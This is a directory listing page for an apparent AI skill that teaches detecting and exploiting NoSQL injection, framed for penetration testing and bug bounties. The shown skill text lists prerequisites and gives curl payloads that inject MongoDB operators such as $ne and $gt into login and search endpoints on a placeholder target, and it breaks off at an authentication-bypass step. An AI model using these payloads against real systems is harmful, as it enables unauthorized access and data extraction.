exploiting-nosql-injection-vulnerabilities

Featured

Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.

API & Backend 15,448 stars 1852 forks Updated 1 weeks ago Apache-2.0

Install

View on GitHub

Quality Score: 97/100

Stars 20%
100
Recency 20%
90
Frontmatter 20%
70
Documentation 15%
100
Issue Health 10%
50
License 10%
100
Description 5%
100

Skill Content

# Exploiting NoSQL Injection Vulnerabilities ## When to Use - During web application penetration testing of applications using NoSQL databases - When testing authentication mechanisms backed by MongoDB or similar databases - When assessing APIs that accept JSON input for database queries - During bug bounty hunting on applications with NoSQL backends - When performing security code review of database query construction ## Prerequisites - Burp Suite Professional or Community Edition with JSON support - NoSQLMap tool installed (`pip install nosqlmap` or from GitHub) - Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists) - Target application using a NoSQL database (MongoDB, CouchDB, Cassandra) - Proxy configured for HTTP traffic interception - Python 3.x for custom payload scripting ## Workflow ### Step 1 — Identify NoSQL Injection Points ```bash # Look for JSON-based login forms or API endpoints # Common indicators: application accepts JSON POST bodies, uses MongoDB # Test with basic syntax-breaking characters curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": "admin\"", "password": "test"}' # Test for operator injection in query parameters curl "http://target.com/api/users?username[$ne]=invalid" # Check for error-based detection curl -X POST http://target.com/api/search \ -H "Content-Type: application/json" \ -d '{"query": {"$gt": ""}}' ``` ### Step 2 — Perform Authentication Bypass ```bash #...

Details

Author
mukul975
Repository
mukul975/Anthropic-Cybersecurity-Skills
Created
3 months ago
Last Updated
1 weeks ago
Language
Python
License
Apache-2.0

Integrates with

Similar Skills

Semantically similar based on skill content — not just same category